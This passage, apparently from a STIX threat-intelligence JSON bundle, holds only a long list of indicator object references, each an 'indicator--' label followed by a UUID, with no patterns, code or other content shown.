        "indicator--10875952-5b9e-4545-b245-decf205d7e91",
        "indicator--dc8a31e2-e60a-4226-b325-559223f34533",
        "indicator--af4530c4-650a-44a0-96a2-9c2c6e8f7249",
        "indicator--b2dbbf7c-3ddb-4259-a875-2a744ce13949",
        "indicator--0483a908-9e4b-4ba2-b286-d59cf0d018e9",
        "indicator--0e779a47-3901-421b-8d25-23ceace551b4",
        "indicator--44c9beeb-69dc-47f0-b1e1-e8f9c700ad36",
        "indicator--fb1b2618-9e34-4e73-816d-3f334fe40ddf",
        "indicator--3afd817f-ab2b-4f9d-9aaa-4f65bdbd59c5",
        "indicator--ca45eeab-ae3d-4014-b5ff-ce5b2f648771",
        "indicator--4ca07327-079e-46bc-9712-5938a125a070",
        "indicator--b3746e61-378d-4246-a023-74e4a215ad19",
        "indicator--8dbb5795-6d3b-42af-ade9-249e8cc03dc8",
        "indicator--79a0ff2b-8bff-4a87-b2f2-be1372c70c94",
        "indicator--7bddfce7-c993-428b-a5b8-9779f7ffa05d",
        "indicator--4fdeb4b4-ccb5-4528-9ad0-0e2fe364ead6",
        "indicator--9d744cab-c28d-4653-80c1-6fb78ab32eca",
        "indicator--ac7d5d40-d9d3-4e31-8bbd-4ab77c051b88",
        "indicator--9a4e8e28-746e-440f-b6e0-8a79974d6e01",
        "indicator--0fde911e-7884-48dc-973c-cf696916f414",
        "indicator--45ca2b14-19fc-4a0c-a0b1-dd5ea7954d83",
        "indicator--188fba16-7791-48b9-b165-757a263b6f40",
        "indicator--d88f7ec3-21e3-41d5-b6aa-0ca2ea583acf",
        "indicator--24770505-7c42-4d33-b757-2073a5c42bcc",
        "indicator--3f8a31e7-cb80-4661-876b-dd206a26daed",
        "indicator--30105b3f-196f-46af-a378-6e2908d68747",
        "indicator--d4b0988d-623f-488e-932a-1eabbb99d04e",
        "indicator--e7504330-b5d6-4e44-9dd8-36caa7c5a215",
        "indicator--b8a58e12-9925-4906-bef8-869f9c36af45",
        "indicator--d6e8ba42-9a35-4f64-a042-cc74afa85f06",
        "indicator--990de2ba-652c-4886-93bb-95dfd870a64d",
        "indicator--2c1a6cfc-9c62-4666-9171-ee1573202ae6",
        "indicator--91c116fe-e3e5-404c-bb1e-0061c7a046f3",
        "indicator--4433eaa9-a01d-4618-ab04-f76fc4068900",
        "indicator--5815c24d-165e-4ad3-ab31-307ee1c03f68",
        "indicator--0535ef39-b08a-4437-b32c-c10a185620e1",
        "indicator--5b85138d-43c0-4574-b6d5-65017908b6e9",
        "indicator--ced591ed-d880-49c4-aa4c-c98bb562119d",
        "indicator--423b458a-d980-4104-954a-c3f517185f18",
        "indicator--33568bae-5131-428e-a7b6-0fb67f6bb73f",
        "indicator--3d3fd569-da03-4304-a451-e1f29c29a3e9",
        "indicator--1bc637e9-4f4d-4955-8f91-d61772c97a0a",
        "indicator--f4c40e62-6f92-481f-9d9a-cb180ebdbce8",
        "indicator--c2baab75-9456-426e-8981-91176d6194d1",
        "indicator--aa7125aa-0cd7-4951-a03c-e00547749c73",
        "indicator--bafb7ca7-bc7e-4fa9-a3da-09478a22ad25",
        "indicator--6cfb02c9-3bac-46cd-a5df-9f67ac060b3a",
        "indicator--3f384dd0-361c-4c07-b63c-cac670a01b0f",
        "indicator--a421891d-08c8-47d4-90fa-355b42b28df8",
        "indicator--f26c538f-8b2e-4082-b5c1-d72419c98a5c",
        "indicator--704e2937-65f3-4af1-bf2b-ab898aa29172",
        "indicator--4b78d1f2-87d4-44ca-81b5-6362b430dad0",
        "indicator--32e849b3-ba65-45c0-a811-d8312ac8b9c2",
        "indicator--bce3dc30-e8e4-4a3d-b409-3d9ffbf55ee6",
        "indicator--5cfc4497-bd31-4816-a07c-a154ec3924aa",
        "indicator--e527fb1a-0449-4099-90af-03ed8b49f1e6",
        "indicator--115990ca-e991-4c4e-b669-a30b7b7f189a",
        "indicator--4a696c12-42ce-4691-8328-226d0ea641e2",
        "indicator--e309b832-7112-46d0-add5-ae5bcffd0de1",
        "indicator--3339c298-48d6-43f1-8ef6-24b12bea9b38",
        "indicator--ac0e9991-e193-4252-b2c5-8c1524ff143f",
        "indicator--3de1d054-cb37-4095-9508-58bc15fd3991",
        "indicator--8e77277a-4c56-4f9b-ad38-af5117ae17c1",
        "indicator--6cf0d5c7-40e9-4601-80e9-55c1baf87efc",
        "indicator--23b16694-1039-49c7-982d-e6162395ae30",
        "indicator--b80536e2-f0ca-4a02-9f29-7c31e0c33a8e",
        "indicator--0b3ecc28-7abe-4d16-8fe1-d1dc718fc6d5",
        "indicator--2e29adbe-0b00-4a70-b56e-19a91b9a4ad9",
        "indicator--5c102555-02f4-4e9f-b6ec-5f4a4e1e730d",
        "indicator--e306ec57-1ebf-446a-968c-bea293e64743",
        "indicator--9d0470cd-b7cf-4095-8bd4-2f878e6e629e",
        "indicator--1e1287d6-420b-4a1b-bfa5-0dabd62fb61a",
        "indicator--ec0f56ed-c836-47a1-94dc-cd16f5d37d88",
        "indicator--e1d4aabb-4447-4587-bce8-8bb8df75ddec",
        "indicator--1941563c-3fd8-4f28-9527-8b2895383666",
        "indicator--537e4fff-6613-46f4-99d3-ef3d15f1783d",
        "indicator--b069ec97-0424-4f83-94b6-bfb702bb10de",
        "indicator--162e89ee-fbcf-4fec-9cda-036833d2f424",
        "indicator--fbf59f30-d039-47d2-a3b2-d85639ec2d96",
        "indicator--311e4fc7-fdbd-4658-9a60-3f96ca8af1b9",
        "indicator--ef744524-da9f-4c9f-950f-ab5dab88829e",
        "indicator--06e572d2-4449-4960-9d40-6dac29cdc544",
        "indicator--cb9d5bfe-d464-40fc-8c8f-41bd741cb2c4",
        "indicator--34dafc58-eee9-4591-af74-4d0cabba27d2",
        "indicator--fbd52456-b9e8-4c47-a0bc-07bdc7238086",
        "indicator--39c8c0c3-552e-4ec3-bb3c-73d67b5097ee",
        "indicator--0561ee9c-09e7-4515-8053-3d887d3edef6",
        "indicator--64a5799a-52a1-405c-9ff8-d03bf4d9a9c0",
        "indicator--f662fcbd-d1ad-439d-9763-d842a6530924",
        "indicator--95fdd77b-e552-4414-943c-ee04f7b69e44",
        "indicator--21e84621-6d5a-4dd5-830a-ed3223b1e827",
        "indicator--497bc8f7-c763-4d46-beab-43a6104e4805",
        "indicator--0b331ca6-a53b-49cf-b710-b5dc56730870",
        "indicator--c25bfda8-560e-4dcf-8096-b69963038b36",
        "indicator--bb146440-f71f-4498-9642-534afc966e7d",
        "indicator--49a80080-1b59-4adc-b18c-2ccbc066e4e9",
        "indicator--be51b98a-500b-4b3f-a9dc-2dfc64a0277f",
        "indicator--42d825af-206c-4311-89ed-362f80a5a197",
        "indicator--4e0b32ef-f2aa-4aea-80ea-9d1c539f7ee1",
        "indicator--fbedbd12-88ff-416c-83bc-c4ae61ea5502",
        "indicator--9958e8cf-111d-4a96-835f-3ffdf53d9424",
        "indicator--1b229fa9-1df4-4dfc-b724-0f6732989632",
        "indicator--d4e80285-d1fb-4c73-a238-11fd6fbc9d62",
        "indicator--842ce2eb-fc25-47a1-97ec-9f52b424ae90",
        "indicator--61bc15d3-af7a-4414-a244-1b6a71ee621e",
        "indicator--d8c6826f-7dfc-4e08-8e6d-219c5d7133a5",
        "indicator--1b4e4b91-9370-4990-be86-773f8f1d8ae2",
        "indicator--44de8fab-bef4-4aac-951e-54ee4cc08ac3",
        "indicator--5a25428d-3a5c-4755-9beb-050580b67458",
        "indicator--be0c24e5-c74b-46a1-8c35-91dde18582a2",
        "indicator--d63e8ab0-a8f0-4777-bfc5-39e900bc872b",
        "indicator--ce953a43-5c12-4af4-87c2-fb26c7ef385c",
        "indicator--db2edd53-0ec7-44e2-922b-a35c9980bdcc",
        "indicator--42c73da6-996d-4040-bd47-3fc1b5cc15a4",
        "indicator--1d770a67-416e-43e0-86eb-cb032c32d588",
        "indicator--7a6c78b8-caac-47d1-bc2d-cd639206841f",
        "indicator--247a1501-2cb7-46bf-9631-993b45e0d6b6",
        "indicator--b5fb972c-017c-486d-9e79-266cc67bc834",
        "indicator--412d7cd8-83f2-4275-88d0-0f6b38a73369",
        "indicator--61c73311-32d6-4991-8937-003bfab69d5b",
        "indicator--6f896cc8-8a25-45e1-b2ac-90a4947c600f",
        "indicator--9c8082d5-6515-47ca-aa27-73451f3779f5",
        "indicator--3437987f-9c02-429b-ab6e-efcdb3007ee2",
        "indicator--d9f5c1e5-8340-42a4-b244-eb682ca6cf17",
        "indicator--b8b02c8b-ad5f-4a0c-96bb-93d3ed3a5d80",
        "indicator--0a6eaa79-2625-4fa0-bcce-d7bf7ba9e93d",
        "indicator--89f167ae-3cfb-41ca-b1d0-058e0e2809d9",
        "indicator--bc115436-ecaa-411a-8b97-8b9c44ff764c",
        "indicator--692b2946-74b4-40a5-87c3-61fc206f904e",
        "indicator--75fbf483-093d-4b33-ab91-464a9689ebea",
        "indicator--d02dd7b6-8ff8-47d0-8165-f8ddde9ccd73",
        "indicator--367b5c73-2393-499a-95de-522ca250e2fc",
        "indicator--679ee5c0-7c3c-459b-b01f-b91a1dd6d346",
        "indicator--405c7b66-925b-443f-8510-66d4fb7b6aa9",
        "indicator--d4b3d7c3-2aa5-4d1c-9b99-7c4e4042bae1",
        "indicator--16f8f344-a1d6-4bd6-ab58-07732ac4613f",
        "indicator--c56c651d-fbc7-4369-8be5-c5a178a74944",
        "indicator--5e18fc0d-6ffe-4af3-bf8d-1d69883596b3",
        "indicator--b77e2e57-cb35-4aac-a95b-2a979dbbd972",
        "indicator--ab896c6d-2ae6-4bce-ba5b-59b6a6559c3b",
        "indicator--dae45ed1-ae69-4bbb-98cb-72a87b9743d4",
        "indicator--78b1c0b6-a888-4747-9364-90c29fde0aa0",
        "indicator--f0d16ea3-6480-4a03-8a64-ed05333e81d9",
        "indicator--35466c43-5ed7-4c06-861b-8ba998dcad78",
        "indicator--5f89da4d-fab9-4269-b661-3a283c2de3fc",
        "indicator--5402a04d-f8e2-4963-944b-693ea2c699d1",
        "indicator--24b02583-709c-4a34-b36d-198c72ab8596",
        "indicator--5aeef695-eac0-405e-91a5-d4948366f47d",
        "indicator--a031bcbb-869d-4da3-8846-2d29f1ee4e87",
        "indicator--7b658355-6d92-4ec3-80d5-273f72381969",
        "indicator--e5b095c2-c04e-48ff-96c6-1191faf194e3",
        "indicator--531f46cf-4793-45a1-8cfd-686bc2cdf8cf",
        "indicator--f882beef-9b4c-4b7b-8aa3-998b8426648b",
        "indicator--87910225-e211-43d6-8e0f-36badf0a456e",
        "indicator--57c50e01-0711-48a0-9236-921ac9cf673c",
        "indicator--dad0579f-d126-4f8a-8a77-3242ad547269",
        "indicator--9dd9fc44-909e-4f35-844b-d477a61983f6",
        "indicator--80c3f16d-da42-41dd-a5ef-3697d3dedbd5",
        "indicator--84f5e365-ca81-4520-b886-fe31ec484498",
        "indicator--deffc4e9-54f4-4fe3-837b-4cef1706c74b",
        "indicator--6e4d7490-61e9-4525-b5c1-8551b5a2cb1d",
        "indicator--e2f58963-6201-4b51-9ed5-64e7e5170dc7",
        "indicator--93a1c5f3-25f3-4a04-a665-53579fc27577",
        "indicator--f475f7e8-ff3b-41ad-a913-7a6d7fb0ba1b",
        "indicator--0ee0ba5f-8056-49b8-8670-62cef867d5d3",
        "indicator--47d26292-5e83-47a3-b9b0-15a0991a4ba9",
        "indicator--eda17544-5234-4869-b2bc-7da2930e44f7",
        "indicator--3f423346-4d52-49ec-b1d4-d5a0f1d0152d",
        "indicator--687cdb28-4a1c-4a74-8574-2ddc8c78b3e4",
        "indicator--939dc574-d928-4717-a605-df99a2871e3e",
        "indicator--bc29f714-217d-4ad5-a97e-ab12bef61f6d",
        "indicator--67d229f0-0bc1-43c4-95a7-ff0be8b306b8",
        "indicator--81417f5d-ba25-4991-a8a8-6f8a6059ce72",
        "indicator--089bbd09-9790-4f62-a32c-6444760cd017",
        "indicator--bdb6d47d-4283-4027-b9f1-43049d190129",
        "indicator--3c7ce530-7b3d-4608-9886-5c93f240720d",
        "indicator--a328e2e7-20f2-461b-8206-fb32c59742a7",
        "indicator--43f3031c-8b09-4d38-8059-f48036d31d7c",
        "indicator--426655d2-a046-4b65-a2f4-5530c13744d8",
        "indicator--62b6e389-5118-4b20-a940-3eb8beee388d",
        "indicator--a1ed77d2-73f4-4abb-ad08-a600ad620e24",
        "indicator--44dbf891-e821-40b6-bbd7-8d6736e16f95",
        "indicator--57e19779-6cdd-4f5b-b1a9-a2434f37ec0d",
        "indicator--8b149545-811a-4625-8ede-9c073cf6f904",
        "indicator--2bced7fa-be4b-4e5f-b88a-2ced3e70d8f1",
        "indicator--413d37b3-0e42-4e83-8984-0a357293bad2",
        "indicator--83c13e00-21cf-472b-8379-7a8ae3d9ce2b",
        "indicator--416de91b-25d4-4c88-b7e5-89bd09c86a7c",
        "indicator--939ef3bc-3370-4545-b214-9e0479b92ed3",
        "indicator--1c0b73a2-c150-4c37-8108-cc53d309b40b",
        "indicator--e029ed0a-bb4c-4f80-9e2f-618c4d11a99d",
        "indicator--9dc96791-aa8c-4c6b-ab77-8780b821c607",
        "indicator--b9588c94-25ca-4a34-8946-ecf74dc7bdba",
        "indicator--c063f7fa-2be4-4817-bd37-f58799fdfa86",
        "indicator--f988bb6d-87b6-455e-aad1-55624ed80bc6",
        "indicator--07fbce54-2293-4124-bff4-b9d8ef9c888f",
        "indicator--3a65cbfd-b3c4-4969-bf59-8b78abf7819a",
        "indicator--0018979e-4a97-431d-bf49-5341040e0c38",
        "indicator--74d49448-41b4-4198-a91c-8b9624340eae",
        "indicator--9cf74dc2-98df-4ac7-965b-2681002e11f9",
        "indicator--2a7bdedc-fba8-4073-b656-1b4489d90131",
        "indicator--1506f5f2-77a8-4237-aaf2-4c8189f54088",
        "indicator--2fd745aa-b99d-4bb9-8fb4-e1c694a47b3c",
        "indicator--88d96bf6-e547-4c29-85f8-486a3ba3b4ed",
        "indicator--7b1e15cf-3486-43bb-8d8a-ba29c75a98d6",
        "indicator--f7334936-d8e2-4f59-82cf-9ab04519a416",
        "indicator--20fc3304-699c-40e8-9daa-817ede97b8c8",
        "indicator--930d224e-f196-49d7-a4da-6fcbbaf4eeda",
        "indicator--5632d811-0b25-4951-9b6a-ac79ece9e379",
        "indicator--7cd9c820-0f8f-4892-8c84-030d610325ce",
        "indicator--f855d615-501d-491b-9842-fb2c70301caf",
        "indicator--2cbcf36a-6cd3-4896-898d-51839797ec98",
        "indicator--c1de3fce-83c6-47ea-82e4-e76676a94623",
        "indicator--b6b2f744-2916-440e-9503-d04f9d490a83",
        "indicator--feeb3309-a29f-42dc-8f70-1df4d9aeb5db",
        "indicator--87e398b1-8a88-4f13-98c9-70ec331918cd",
        "indicator--3b198b94-d030-4296-95b5-0316cffbeb2c",
        "indicator--c970d956-ec66-4884-8a97-e9dbdbb05963",
        "indicator--4711ed30-f829-4f0a-a240-af373b921835",
        "indicator--2933be82-1893-4d9b-906e-4344e365d93b",
        "indicator--e4f842f1-7837-473e-8d2a-70ea247eb9fd",
        "indicator--9edb0a9b-f815-4597-ad4c-f152ee75f091",
        "indicator--6a94f09a-2a7f-4ab9-a4da-092d72d59a5a",
        "indicator--b79acbc7-568b-4207-add5-9c1da72277b9",
        "indicator--87ca6ef3-59d1-4432-bb8d-4065e5a8935e",
        "indicator--b8537f52-1013-4bc6-8ce8-55ad477867d6",
        "indicator--a1374387-5a55-4a17-8674-0bd0ae99427e",
        "indicator--c36b36b1-c614-4c7c-a0f1-bfff1b6134e0",
        "indicator--8f337b79-69b0-46c0-b7ce-ebd31734e123",
        "indicator--4e512a48-8b54-4ec0-913b-79fcd6c954c1",
        "indicator--79fed81a-5e18-47eb-bc38-e5605fc56b90",
        "indicator--2d804448-25af-4750-b9a4-0abc3c6bdff5",
        "indicator--38079a31-1976-41da-8b19-0a85d823b168",
        "indicator--d0a54817-34c2-4035-a2ca-2fef30794501",
        "indicator--cf78ff11-81f8-458c-a9bf-d349cb4f735a",
        "indicator--9014253a-3cee-4c83-bb2a-e4bc6ffeee6c",
        "indicator--03bf1d2f-7917-4ae3-a428-98122f5c1353",
        "indicator--96c32f79-ce0d-4e6c-8de7-00198d3cdb07",
        "indicator--3ec9b941-d43a-4c61-a224-a99c78460f72",
        "indicator--638d3612-befb-4ef7-a461-41e83b9c4533",
        "indicator--e6fd57e9-8a33-4cc7-be14-86bf9e45c3ba",
        "indicator--6d69984d-abaf-4fa5-8a27-7f9ab4adda45",
        "indicator--a76b474a-76ba-474b-b835-f9fd9325b545",
        "indicator--abe1ffd4-c1f5-4954-9333-0f0a725d98ee",
        "indicator--6cd6082d-5fbf-4d26-ac19-74ac8808d08f",
        "indicator--7b2eb13a-0030-4c2b-bde1-7fc31f809b08",
        "indicator--dc0e801e-b90f-45fb-bbac-e48251f06673",
        "indicator--8713c501-d10d-4a72-9a79-47e204cd4989",
        "indicator--fc86bcf1-b105-45a2-899e-0af80ba56fde",
        "indicator--b742822d-1ff1-4966-992f-f18fcd51938d",
        "indicator--6d1c4333-98b3-4fdf-a18c-713629f795b3",
        "indicator--b89f22d7-b9f1-44ee-a75d-91a206f0e277",
        "indicator--15d3724f-ce69-46ac-8f18-01f9bc983f36",
        "indicator--229653ac-d313-4929-a8a4-47a2884f5fcd",
        "indicator--da632f94-87a4-4e43-a357-ad0bb32a3a4d",
        "indicator--6e82238a-80e8-418c-bb70-e604139c76e5",
        "indicator--566ca9a1-a596-43b0-9de2-f96e15e75b20",
        "indicator--575742d4-9d98-4711-a246-b04343cd40d2",
        "indicator--bed4218d-e5f6-41fb-8513-450bc3b7c79b",
        "indicator--b36c14ce-dcba-4357-ad4e-69fbb20a3bad",
        "indicator--fb094704-8803-42a5-b2c4-bf47a215063a",
        "indicator--0ee436c4-cccf-48e5-b5f7-7a6d4e4f76ba",
        "indicator--5133128f-8b9c-400f-858d-3f1f4ab4ea21",
        "indicator--d7b16cee-8377-4fe0-b736-68952844d7b2",
        "indicator--b9491653-a5e5-497e-b06b-5f04f27f31cd",
        "indicator--b7181184-f0f4-408b-a6ed-a02622dc9b98",
        "indicator--c54c77e2-1890-4422-bcfc-5135be5b17f6",
        "indicator--242eee01-3f01-47b2-b0d1-607e5e4836c4",
        "indicator--e6bece1f-f0e6-473a-911b-0e8050915073",
        "indicator--48b1cb62-3650-42ad-83d4-c7ec1275611c",
        "indicator--85b9a0a9-eeab-47c1-894d-036e04372284",
        "indicator--3aed9744-ba3f-407b-b3b5-a4dfdc7aa453",
        "indicator--ebf62b7f-d232-4cdc-b4a6-9d0281a576ed",
        "indicator--3612d753-f30e-48e0-9c3f-a68aa9d6f5f0",
        "indicator--69de0243-40d6-4257-8784-bd487e6a36d5",
        "indicator--8041472c-c72f-4670-9dac-a643f62633c5",
        "indicator--62ac5507-296a-4c2a-a143-bf0f9c9d1b64",
        "indicator--1935e74e-5d2f-4c6a-b891-7158853e1063",
        "indicator--53375346-d9ea-4452-a592-e3cd433892f5",
        "indicator--076015a1-f943-4c82-a106-e4b9a81f0d12",
        "indicator--7cff8493-4bc0-48c9-b3ed-ad2dc8b562ae",
        "indicator--c13ffd29-389c-44e7-af4e-f0df51b5b40b",
        "indicator--8a5858e7-20e8-4210-b6be-08445e826e8b",
        "indicator--8ea18e2e-d3e8-4021-8c98-915a833c3ba7",
        "indicator--a87b9602-d07f-4b5f-b869-3fea638646b9",
        "indicator--df8285eb-357d-4df5-bf3f-2b8856ae128a",
        "indicator--c8f3e513-d3c3-4aa4-a0f6-840eeacf2129",
        "indicator--c633afc1-67cb-4682-85aa-60e94005489d",
        "indicator--2d571f8e-14d9-435f-a6d0-21be1b4c4777",
        "indicator--3d1fd13f-4dc7-4f39-a025-54a039b06311",
        "indicator--731f8540-25d6-42cd-ab50-21ca80b0514c",
        "indicator--44ed23da-528a-4a96-8d39-74fab6fe55b1",
        "indicator--eb47e7e0-a6b0-4332-96fd-a175beba65c1",
        "indicator--cc76a8de-c84d-4f09-ab5b-0878ce054fcd",
        "indicator--22576c4c-50e0-48d6-a4f6-54e022c1acbc",
        "indicator--d4953601-b317-486f-a4e6-009c3d5acc1d",
        "indicator--870bed11-69e5-4905-baa6-9139e50a70db",
        "indicator--98e2c3d0-8445-43ac-97b8-2831d1039aed",
        "indicator--539dfb66-2d6e-45c0-87f4-790d7571d429",
        "indicator--3104c1a9-1dbc-4289-b558-179dac5a9199",
        "indicator--e2b0662f-a8f1-44b2-a04f-17ecc9bc8996",
        "indicator--5ecbc66f-c58a-4347-b5eb-d308e68360ca",
        "indicator--2a0acd0a-06ac-4185-8ada-b5625f7142c6",
        "indicator--d38324e9-a19f-4c08-8e0f-6171e3cc9232",
        "indicator--f8d4d776-7044-4143-850d-a7a709044239",
        "indicator--f155240c-0ba5-4de0-a484-1eb95ca1a763",
        "indicator--ddc9d0a6-82aa-4a4f-b559-203bb2b3d35d",
        "indicator--7ff4296d-7b58-4f5f-a97e-4d2e95c12e24",
        "indicator--8be5d4f2-2465-4a2f-9c98-ca73bc20b517",
        "indicator--abc18180-4bd1-45ab-a964-e49c1c1288ba",
        "indicator--dca30a04-2505-417d-8f00-82eef1147302",
        "indicator--9336fd33-e34c-41ec-9d2a-b6c6c86eff4d",
        "indicator--afc4892d-8be1-477a-b1cd-f6aadd374d91",
        "indicator--af2e93f3-f7bc-4331-8bb8-4e3a27176864",
        "indicator--86632468-ec18-43a8-b60c-45707fc741c8",
        "indicator--33537f65-7c84-45d1-b9ac-34c3bc4ce54d",
        "indicator--a9cf9965-0023-47b4-85ec-53fe7e45aff9",
        "indicator--f7e31160-d88a-4f77-9d7e-52f458aa2146",
        "indicator--71b847e6-07e2-4e03-b226-c257d0687dc9",
        "indicator--b1332e2e-415e-4906-b1ba-1ce270a9671e",
        "indicator--d8b620f6-95c0-4bb1-842e-7be075dce860",
        "indicator--d948cf43-260f-4d5a-8833-10ab7eaed64a",
        "indicator--45c82928-0777-42d1-8583-97d63b2b1247",
        "indicator--d6d09943-961e-4c6a-86d6-6e9698d988d7",
        "indicator--fcd9ba8d-19b2-48c0-a445-cb2e1377a7a1",
        "indicator--dd9d5c03-ba6c-4a39-85b0-11da3e7425a1",
        "indicator--1df133b4-7951-4084-8e7b-fcb8c2cb9dda",
        "indicator--7c5db743-699e-4336-a8f1-e58eb2923ecc",
        "indicator--67d46174-ed74-4249-a956-84ae43e2786e",
        "indicator--939b5fdf-3f2c-416d-b419-3879ee0228bd",
        "indicator--4efc883e-a6fc-4626-839b-eb0ea5c033b3",
        "indicator--87ca88df-2fee-41e5-ba86-0a86fa407d8c",
        "indicator--2ec2e7af-3770-4a03-8f77-224a90a5f931",
        "indicator--c30b484a-314f-406b-9989-d2bcb0925fb7",
        "indicator--398791c1-4176-4ef9-b944-0b5cb4482570",
        "indicator--d1a04316-c163-4303-bd63-e7550c381218",
        "indicator--e838a2ff-56ff-4329-8f3e-1ea7070d9293",
        "indicator--753391c8-fa60-4f53-b7e8-d2b97cbc8535",
        "indicator--fb55a3bd-71df-4208-ad56-e0ff3f6fd82d",
        "indicator--a84f160d-4bd0-42bd-b6aa-6d9582ca9583",
        "indicator--740bd255-9e2e-491c-bac2-d757fe70bec0",
        "indicator--115d14f7-fe6a-42e7-b8b9-f81eb7bb5ce0",
        "indicator--f01b48ad-32a1-4a77-ab41-d7055c4d015a",
        "indicator--eb539143-7406-4d9e-8738-7d3ee567b265",
        "indicator--337538ae-fc5c-486f-8a71-c25ec6a6c5fa",
        "indicator--a995d97f-909c-4002-9c3c-904b73cd4268",
        "indicator--fed758bd-83c2-47bd-b7f0-5c8e92e8791c",
        "indicator--d7cff6e3-7755-4c9b-8c0f-f5cd6120c60d",
        "indicator--976995fa-8535-4edd-a816-07d736c7258e",
        "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
        "indicator--e3842624-6817-4f7a-9f16-c9a751193d82",
        "indicator--f0b165da-b7ec-4f97-b934-3afff3693d1a",
        "indicator--7fb1d0ed-87a3-4ea8-9798-733306fd82d2",
        "indicator--b68acf7d-903e-4036-aa8b-cb595e80bbfd",
        "indicator--a495af29-a9f6-4c05-9c61-22aa58490b7e",
        "indicator--101fb7d8-7726-41b3-b694-45f6d7039b2d",
        "indicator--ad659fbf-350c-4e64-b30f-0396518c0c14",
        "indicator--fd8ae9da-72c4-4708-b389-7ffc746895c7",
        "indicator--fc2a16e8-e154-4ac4-9cff-d61e49557e46",
        "indicator--c73c9bf2-5ba1-485a-877e-c22399394bea",
        "indicator--64d14785-d212-4b1f-92be-4a5a74788b06",
        "indicator--0f903771-e2fe-448e-8c46-fafc9f32a8c4",
        "indicator--f611e1b1-245e-45a9-9589-c7232d1d7b20",
        "indicator--46f8e88e-9cb1-4c7f-a227-cc8a6d646ca5",
        "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
        "indicator--3921508e-a0ab-49d7-b4fc-4e5d0d813b30",
        "indicator--506135ef-f2d2-4d30-a318-360ec2e5fcbf",
        "indicator--89430396-5b13-4221-b78a-35f9deaf6697",
        "indicator--335615b0-0dc1-42bd-a42b-d58778fe3dce",
        "indicator--0bbe3ce1-70e8-46db-8927-5a3662766145",
        "indicator--2a86cccf-2fe7-4020-97e0-e543e144a4c9",
        "indicator--75c35b69-8804-48b8-bf78-a92f7aefd337",
        "indicator--3a82dc28-9929-44c8-acce-04f03cc1bf4d",
        "indicator--a2286a3d-dc47-484f-a677-9fcba1d5c9cd",
        "indicator--c20f3ec1-942f-42d3-8e92-c76d6ed449fc",
        "indicator--b11fb7ed-b8cc-4759-9591-d627e0ed27b1",
        "indicator--dc9d76fe-1212-42ef-840d-d826cd375420",
        "indicator--23d36ef8-750c-45a3-ae8d-9759caae7dcd",
        "indicator--81f963c2-5075-4433-88e9-356671cba817",
        "indicator--a379b40b-faac-4c4f-9d66-50cfb32f4dd0",
        "indicator--c279316e-5dcd-41d1-9fc8-11b90d16014c",
        "indicator--e81cfc86-c791-465e-b5db-05d09ea3859a",
        "indicator--09905267-f0c5-4db2-9495-5b03e85b403c",
        "indicator--ca09eb97-50aa-43d7-989d-7c7bae0947e9",
        "indicator--c916db64-8b5a-4545-88cf-5a649116b81d",
        "indicator--16964857-567a-4f50-b58d-387795c83d6e",
        "indicator--b933a317-3678-4f88-9822-2bfa70680431",
        "indicator--ae4ca045-edfd-4421-b0eb-824716c43b80",
        "indicator--11b1a56a-bc98-4713-abda-0f0c97bb12d9",
        "indicator--b646c0ac-792e-4f58-a6d4-8a1a22efab43",
        "indicator--65ccce02-21f3-4357-b51b-fd5dceb94b14",
        "indicator--0daf1a46-a413-452d-8029-bdba033aa0ae",
        "indicator--aba1c87a-f802-4b0c-bfb9-0fe7ea3993ea",
        "indicator--b72fa0ac-3fef-4166-87a6-40e8e371bbff",
        "indicator--9a4147ca-35a8-48b2-ae01-494ddd1faf3f",
        "indicator--0607f4fb-b8d1-4edf-96d2-7706175de022",
        "indicator--9fc7145f-a793-495f-bc83-bfb8a346311b",
        "indicator--2cebfa52-ad93-4df9-9533-4809fffbab52",
        "indicator--ae8f883c-c59d-4ccf-ac97-743bbdac2999",
        "indicator--355fcc14-b70b-4d5d-a151-e95defdb0ab0",
        "indicator--da95820a-82f3-4fd2-8c4d-24cfd4e811cd",
        "indicator--1134fcba-f42d-4420-b060-473e2b7cbc12",
        "indicator--b3ccbb1b-dfbf-47f9-acec-66be20ff9510",
        "indicator--25b04d95-0cfe-47d8-98f7-e7783bf1268f",
        "indicator--8e97c5b9-88c0-49b2-9e93-f68d511f70a3",
        "indicator--7866c056-483b-40ea-bed8-848fec666538",
        "indicator--13f6e099-a74f-496e-bea3-9aec0361762a",
        "indicator--edc71b6d-6995-4222-a39e-9740f4ade136",
        "indicator--62160e0e-6c19-45c6-828c-76c285e754bf",
        "indicator--45ee6f75-2023-4963-ad3f-875c0293afa6",
        "indicator--fdb37fac-711f-4b62-90a5-93c9389f7fc7",
        "indicator--12595dde-42e5-4206-9a04-b09cb82bc2dd",
        "indicator--f7a4f557-1d3a-4f9a-8e99-1cac416f2e7e",
        "indicator--b1736984-db77-4eee-aacf-cf392fe1b0d7",
        "indicator--708a98be-2ff9-46de-83ff-b9e534a6a587",
        "indicator--9ad3ac2d-7b23-4f50-b6ac-25c683105089",
        "indicator--95946130-9a0b-4a72-bead-328adc7f2cd2",
        "indicator--0418fab9-d568-447b-b093-941e17df765e",
        "indicator--777b7d59-4304-4968-a374-009f7b4f8b38",
        "indicator--bed6503e-9c44-4671-9f9c-86f7c77701ef",
        "indicator--4ee1e3dd-6f74-4a82-aef8-20b9163c1f20",
        "indicator--b339805a-70c6-4f51-9945-8123914770d2",
        "indicator--83287c77-0f6b-46e1-9ba2-9499966a8794",
        "indicator--0fb19720-ccfb-4f87-a848-e76240629fbb",
        "indicator--5b5eff89-06cc-4f2f-bbe7-b9c371ff277b",
        "indicator--41ce4bfb-cd5b-4dba-8767-0be11721942d",
        "indicator--1d0aa796-095f-4b6f-9603-7ee8e1229b19",
        "indicator--133a2431-bc66-4887-b6a4-ea24f21a290c",
        "indicator--26e084be-d07e-4c82-b907-a405f14c847c",
        "indicator--d399dcc8-8738-42b1-8277-160a6895342f",
        "indicator--4de8bbff-f984-4d9e-b242-341fedb6523f",
        "indicator--602a8ee9-292c-49fd-b5f5-32bf3a9e74fb",
        "indicator--cf3e2b10-4b49-45e5-8230-2fdb044a379f",
        "indicator--c2d9ca03-9cf0-41c0-b039-940e81ae4fd9",
        "indicator--ee8092c4-31d4-48b5-b41d-f9c833246833",
        "indicator--1a5cf57b-2eb4-4eaf-9fbb-f98da58540dc",
        "indicator--85dedd3d-18a0-4ea0-9e21-0f24f0073111",
        "indicator--94b7db3d-6801-4efe-affa-069e553396b7",
        "indicator--0381b1d3-d52b-4ce7-82f1-2ff6b28d4971",
